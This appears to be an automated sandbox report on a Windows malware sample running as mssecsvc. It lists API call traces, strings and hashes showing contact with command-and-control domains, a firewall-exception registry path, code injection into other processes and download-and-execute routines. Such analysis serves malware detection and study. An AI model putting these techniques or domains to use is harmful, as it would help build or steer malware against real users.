                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                      • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                      • connect.WS2_32(6F6C6902,7FEA3B09,00000010), ref: 7FEA40B1
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                      • wsprintfA.USER32 ref: 7FEA4179
                      • SetEvent.KERNEL32(000002AC,?,00000000), ref: 7FEA42D6
                      • Sleep.KERNEL32(00007530,?,00000000), ref: 7FEA42F7
                      • ResetEvent.KERNEL32(000002AC,?,00000000), ref: 7FEA430A
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                      • ADVAPI32.DLL, xrefs: 7FEA3D5E
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                      • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA41DA
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateEvent$CloseHandleThreadwsprintf$AddressCountFileInformationLibraryLoadModuleNameProcResetSleepTickVersionVolumeconnectsocket
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                      • API String ID: 1567941233-3895273077
                      • Opcode ID: d164329b401e47e84a28de3fe606969c9cc020fa4a70ab4836cae6f21abb50e9
                      • Instruction ID: 0fd1af5c82e6ac19fee7a4e27b5b7e3d4aaa516ddc9e53bac77035a7f4224d32
                      • Opcode Fuzzy Hash: d164329b401e47e84a28de3fe606969c9cc020fa4a70ab4836cae6f21abb50e9
                      • Instruction Fuzzy Hash: BBE1EF71419348BFEB229F748C4ABFA7BACEF41304F00465AEC4A9E081D6F66F059761
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C13D4B Relevance: 40.6, APIs: 18, Strings: 5, Instructions: 386librarythreadnetworkCOMMON
                      Download Yara Rule
                      APIs
                      • GetProcAddress.KERNEL32(00000000,00C13D41), ref: 00C13D4C
                      • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C13D5F
                      • GetTickCount.KERNEL32 ref: 00C13D93
                      • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00C16EF6,00000000,00000000,00000000,00000000), ref: 00C13E65
                      • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,000000C8), ref: 00C13EE2
                      • wsprintfA.USER32 ref: 00C13EF7
                      • CreateThread.KERNEL32(00000000,00000000,00C13691,00000000,00000000), ref: 00C13F40
                      • CloseHandle.KERNEL32(?,D8FBBC76), ref: 00C13F49
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00C13FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 00C13FF2
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00C13FFF
                      • socket.WS2_32(00000002,00000001,00000000), ref: 00C14097
                      • connect.WS2_32(6F6C6902,00C13B09,00000010), ref: 00C140B1
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 00C140FB
                      • wsprintfA.USER32 ref: 00C14179
                      • SetEvent.KERNEL32(000002AC,?,00000000), ref: 00C142D6
                      • Sleep.KERNEL32(00007530,?,00000000), ref: 00C142F7
                      • ResetEvent.KERNEL32(000002AC,?,00000000), ref: 00C1430A
                      Strings
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C13F0C
                      • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C141DA
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 00C13EF6, 00C13F08
                      • ADVAPI32.DLL, xrefs: 00C13D5E
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 00C13EDF, 00C13EF4, 00C13F0B, 00C14195, 00C141DB
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateEvent$CloseHandleThreadwsprintf$AddressCountFileInformationLibraryLoadModuleNameProcResetSleepTickVersionVolumeconnectsocket
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 1567941233-2179058218
                      • Opcode ID: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                      • Instruction ID: a06af58d2780b356606acca779d0b69732b6fe4457b1823bbbf2db4d09cddd1a
                      • Opcode Fuzzy Hash: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                      • Instruction Fuzzy Hash: F0E10271504288BFEB25AF64CC0ABEE3BACEF42304F040559EC599E082D6F45F85E7A5
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 290memoryCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(00000000), ref: 7FEA04BE
                      • GetVersion.KERNEL32 ref: 7FEA0500
                      • VirtualAlloc.KERNEL32(00000000,000077C4,08001000,00000040), ref: 7FEA0528
                      • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Handle$AllocCloseModuleVersionVirtual
                      • String ID: \BaseNamedObjects\rpntVt$\BaseNamedObjects\rpntVt$csrs
                      • API String ID: 3017432202-2034004386
                      • Opcode ID: f53364e35ad258b2cfadf3600a51cc8e4599913c1daad19b1407e8756720751c
                      • Instruction ID: 3bce8d74a25244c2c2a85289a581d1b77fb9f1f5b4b20c7e03f7ec646e6d802d
                      • Opcode Fuzzy Hash: f53364e35ad258b2cfadf3600a51cc8e4599913c1daad19b1407e8756720751c
                      • Instruction Fuzzy Hash: 81B19E71506349FFEB229F24C849BFA3BA9FF45715F000128EA0A9E181C7F29B45CB59
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA05F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                      Download Yara Rule
                      APIs
                      • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                      • GetModuleHandleA.KERNEL32(7FEA05EC), ref: 7FEA05F2
                      • lstrcpyW.KERNEL32(\BaseNamedObjects\rpntVt,\BaseNamedObjects\rpntVt), ref: 7FEA070A
                      • lstrcpyW.KERNEL32(\BaseNamedObjects\rpntVt,?), ref: 7FEA072D
                      • lstrcatW.KERNEL32(\BaseNamedObjects\rpntVt,\rpntVt), ref: 7FEA073B
                      • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,000077C4,00000000,?,00000002,00000000,00000040), ref: 7FEA076B
                      • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 7FEA0786
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 7FEA07C9
                      • Process32First.KERNEL32 ref: 7FEA07DC
                      • Process32Next.KERNEL32 ref: 7FEA07ED
                      • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA0805
                      • CreateRemoteThread.KERNEL32(?,00000000,00000000,-00003C38,00000002,00000000), ref: 7FEA0842
                      • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA085D
                      • CloseHandle.KERNEL32 ref: 7FEA086C
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Handle$Close$CreateOpenProcessProcess32lstrcpy$FirstModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                      • String ID: \BaseNamedObjects\rpntVt$\BaseNamedObjects\rpntVt$csrs
                      • API String ID: 1545766225-2034004386
                      • Opcode ID: 8bbbc4b532c64ff2f8146403b8f5fa0ae95bf63088fb34e7f3916cc504cf2abc
                      • Instruction ID: ee37040148c3e4f13942357ee9bcf33ab611c7d8020d4ac458caa13d894408ae
                      • Opcode Fuzzy Hash: 8bbbc4b532c64ff2f8146403b8f5fa0ae95bf63088fb34e7f3916cc504cf2abc
                      • Instruction Fuzzy Hash: F6715D31505205FFEB219F20CC49BBE3BBEEF85715F100068EA0A9E491C7B69F459B59
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA4178 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 192networksleepstringCOMMON
                      Download Yara Rule
                      APIs
                      • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 7FEA4057
                      • gethostbyname.WS2_32(ilo.brenz.pl), ref: 7FEA4066
                      • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                      • connect.WS2_32(6F6C6902,7FEA3B09,00000010), ref: 7FEA40B1
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                      • wsprintfA.USER32 ref: 7FEA4179
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 7FEA41B4
                      • CloseHandle.KERNEL32(?,00000000,6F6C6902,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                      • GetTickCount.KERNEL32 ref: 7FEA41F6
                      • Sleep.KERNEL32(00000064,?,00000000,6F6C6902,7FEA6AA2,00000000,00000000), ref: 7FEA428B
                      • GetTickCount.KERNEL32 ref: 7FEA4294
                      • closesocket.WS2_32(6F6C6902), ref: 7FEA42B8
                      • SetEvent.KERNEL32(000002AC,?,00000000), ref: 7FEA42D6
                      • Sleep.KERNEL32(00007530,?,00000000), ref: 7FEA42F7
                      • ResetEvent.KERNEL32(000002AC,?,00000000), ref: 7FEA430A
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 7FEA4178, 7FEA4195, 7FEA41DB
                      • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA41DA
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CountEventSleepTick$CloseCreateHandleResetThreadVersionclosesocketconnectgethostbynamelstrlensocketwsprintf
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$\DEVICE\AFD\ENDPOINT
                      • API String ID: 883794535-962318479
                      • Opcode ID: 6b0defe1960dce2cb68afb5d2726ae1425874940fd6c70606eed0c1c35355a33
                      • Instruction ID: 62042b7e1d70db51705c832b3ce7fc9885254b828fc8a61664828cce23236026
                      • Opcode Fuzzy Hash: 6b0defe1960dce2cb68afb5d2726ae1425874940fd6c70606eed0c1c35355a33
                      • Instruction Fuzzy Hash: AD71EF75508348BAEB229F3488587EEBFAEEF81314F000608E85A9E1D1C7F66F45D761
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C14178 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 192networksleepstringCOMMON
                      Download Yara Rule
                      APIs
                      • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00C14057
                      • gethostbyname.WS2_32(ilo.brenz.pl), ref: 00C14066
                      • socket.WS2_32(00000002,00000001,00000000), ref: 00C14097
                      • connect.WS2_32(6F6C6902,00C13B09,00000010), ref: 00C140B1
                      • GetVersionExA.KERNEL32(?,?,00000000), ref: 00C140FB
                      • wsprintfA.USER32 ref: 00C14179
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00C141B4
                      • CloseHandle.KERNEL32(?,00000000,6F6C6902,00C16AA2,00000000,00000000), ref: 00C141BD
                      • GetTickCount.KERNEL32 ref: 00C141F6
                      • Sleep.KERNEL32(00000064,?,00000000,6F6C6902,00C16AA2,00000000,00000000), ref: 00C1428B
                      • GetTickCount.KERNEL32 ref: 00C14294
                      • closesocket.WS2_32(6F6C6902), ref: 00C142B8
                      • SetEvent.KERNEL32(000002AC,?,00000000), ref: 00C142D6
                      • Sleep.KERNEL32(00007530,?,00000000), ref: 00C142F7
                      • ResetEvent.KERNEL32(000002AC,?,00000000), ref: 00C1430A
                      Strings
                      • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C141DA
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 00C14178, 00C14195, 00C141DB
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CountEventSleepTick$CloseCreateHandleResetThreadVersionclosesocketconnectgethostbynamelstrlensocketwsprintf
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\WINDOWS\TASKSCHE.EXE
                      • API String ID: 883794535-840134975
                      • Opcode ID: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                      • Instruction ID: a765df6fb3cbb64d92c3b226c40846febc861230fe43ee285f14a2d6009be0f2
                      • Opcode Fuzzy Hash: 76922eb7f863b4f87123e600b2d48a0325e63692d2b32f1f917fbf14117c4ef4
                      • Instruction Fuzzy Hash: 6571CD71508299BAEB399F24881D7EE7FADAF42310F140508E86A9E1C1C7F45FC1E765
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C1388E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 127networksleeptimeCOMMON
                      Download Yara Rule
                      APIs
                      • GetSystemTime.KERNEL32(00C17584), ref: 00C1389F
                      • Sleep.KERNEL32(0000EA60), ref: 00C13911
                      • InternetGetConnectedState.WININET(?,00000000), ref: 00C1392A
                      • gethostbyname.WS2_32(0D278125), ref: 00C1396C
                      • socket.WS2_32(00000002,00000001,00000000), ref: 00C13981
                      • ioctlsocket.WS2_32(?,8004667E), ref: 00C1399A
                      • connect.WS2_32(?,?,00000010), ref: 00C139B3
                      • Sleep.KERNEL32(?,00000010,BB010002,00000000,8004667E,?,00000001), ref: 00C139C1
                      • closesocket.WS2_32 ref: 00C13A20
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Sleep$ConnectedInternetStateSystemTimeclosesocketconnectgethostbynameioctlsocketsocket
                      • String ID: piymoe.com
                      • API String ID: 159131500-3474456516
                      • Opcode ID: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                      • Instruction ID: fd3c4c9dddd557c04a1e43199b82dd7f87b84bf6e48176657213da40016599b8
                      • Opcode Fuzzy Hash: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                      • Instruction Fuzzy Hash: 2C41B231604288BAEB319F218C4EBDA7B5EEF86714F04402AF949DE1C1D7F59F81A760
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA33E0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 220filenativeCOMMON
                      Download Yara Rule
                      APIs
                      • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                      • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                      • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                      • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                      • UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3414
                      • \Device\PhysicalMemory, xrefs: 7FEA33E0
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$\Device\PhysicalMemory
                      • API String ID: 2985292042-3238960541
                      • Opcode ID: e2b0c8f568571b3f59211b8063e335b2ad8ba4e779b6cb58c9455f457ca39783
                      • Instruction ID: 89bc292a39abda77eba81180b1336a71123f95df307fbb064623dea506d6362f
                      • Opcode Fuzzy Hash: e2b0c8f568571b3f59211b8063e335b2ad8ba4e779b6cb58c9455f457ca39783
                      • Instruction Fuzzy Hash: 5A817671500208FFEB218F14CC89ABA7BADEF44704F504658ED1A9F295D7F2AF458BA4
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C133E0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 220filenativeCOMMON
                      Download Yara Rule
                      APIs
                      • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00C1344A
                      • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00C13469
                      • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00C13493
                      • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00C134A0
                      • UnmapViewOfFile.KERNEL32(?), ref: 00C134B8
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 00C13414
                      • \Device\PhysicalMemory, xrefs: 00C133E0
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$\Device\PhysicalMemory
                      • API String ID: 2985292042-3238960541
                      • Opcode ID: e2b0c8f568571b3f59211b8063e335b2ad8ba4e779b6cb58c9455f457ca39783
                      • Instruction ID: 51398c9e25f99f84b6a0c579a96cfab20a6197650ba70bdfe0a373ee9c7cc0a6
                      • Opcode Fuzzy Hash: e2b0c8f568571b3f59211b8063e335b2ad8ba4e779b6cb58c9455f457ca39783
                      • Instruction Fuzzy Hash: F6818971500208FFEB24CF15CC89AAA3BADFF45704F504658FD199B295D3F0AF859A68
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA3405 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 61filenativeCOMMON
                      Download Yara Rule
                      APIs
                      • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                      • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                      • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                      • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                      • UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3414
                      • ysic, xrefs: 7FEA3450, 7FEA3466
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$ysic
                      • API String ID: 2985292042-2276695941
                      • Opcode ID: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                      • Instruction ID: 20dbb16ab5d0e33e58175ecc7424444a29ed84bf4ea1b595fcedbc50fe00d084
                      • Opcode Fuzzy Hash: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                      • Instruction Fuzzy Hash: D5115B74140608BFEB21CF10CC55FAA7A7DEF88704F50451CEA1A9E290EBF56F188A68
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C13405 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 61filenativeCOMMON
                      Download Yara Rule
                      APIs
                      • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00C1344A
                      • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00C13469
                      • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00C13493
                      • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00C134A0
                      • UnmapViewOfFile.KERNEL32(?), ref: 00C134B8
                      Strings
                      • ysic, xrefs: 00C13450, 00C13466
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 00C13414
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                      • String ID: C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$ysic
                      • API String ID: 2985292042-2276695941
                      • Opcode ID: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                      • Instruction ID: ad1dee2338718ce5fb64d58981cc4548d146904d5439ac87ec65ec6357cf4773
                      • Opcode Fuzzy Hash: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                      • Instruction Fuzzy Hash: 6F115B70140608BBEB24CF15CC59FEA3A7CEF88704F50451CFA299A290E7F46F148A68
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C127A7 Relevance: 12.1, APIs: 8, Instructions: 65filenetworkprocessCOMMON
                      Download Yara Rule
                      APIs
                      • GetTempFileNameA.KERNEL32(?,00C127A3,00000000,?), ref: 00C127A8
                      • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00C127A3,00000000,?), ref: 00C127C3
                      • InternetReadFile.WININET(?,?,00000104), ref: 00C127DD
                      • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00C127A3,00000000,?), ref: 00C127F3
                      • CloseHandle.KERNEL32(?,00000104,?,00000000,?,00C127A3,00000000,?), ref: 00C127FF
                      • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00C127A3), ref: 00C12823
                      • InternetCloseHandle.WININET(?), ref: 00C12833
                      • InternetCloseHandle.WININET(00000000), ref: 00C1283A
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandleInternet$Create$NameProcessReadTempWrite
                      • String ID:
                      • API String ID: 3452404049-0
                      • Opcode ID: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                      • Instruction ID: ab876ee95da70e20ac26899f912fdd66ec77466e9b800dc9f10f9c666a56f179
                      • Opcode Fuzzy Hash: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                      • Instruction Fuzzy Hash: 77116DB5100606BBFB250B20CC4AFFB7A2DEF85B10F004519FA1699080DBF59F6196A8
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA4C9E Relevance: 8.4, Strings: 6, Instructions: 887COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$AttributesCreate$MappingView
                      • String ID: !$&$&$($@$nr
                      • API String ID: 1961427682-1764398444
                      • Opcode ID: 2e3c61e9ee094a24b1f248d49d7ff7f9e82b619d360595d3edb74d11c578d429
                      • Instruction ID: 79dea069ab12c0c42b30df8fbb61cb8af9faa0285f72eae8b3836a6c4c147a45
                      • Opcode Fuzzy Hash: 2e3c61e9ee094a24b1f248d49d7ff7f9e82b619d360595d3edb74d11c578d429
                      • Instruction Fuzzy Hash: 05822232505309EFDB26CF28C4457B97BBAEF41328F105259D81A8F295D3B6AF94CB81
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA24AE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46stringnativeCOMMON
                      Download Yara Rule
                      APIs
                      • lstrcpyW.KERNEL32(?,\BaseNamedObjects\rpntVt), ref: 7FEA24BA
                      • lstrlenW.KERNEL32(?), ref: 7FEA24C1
                      • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 7FEA2516
                      Strings
                      • \BaseNamedObjects\rpntVt, xrefs: 7FEA24B8
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateSectionlstrcpylstrlen
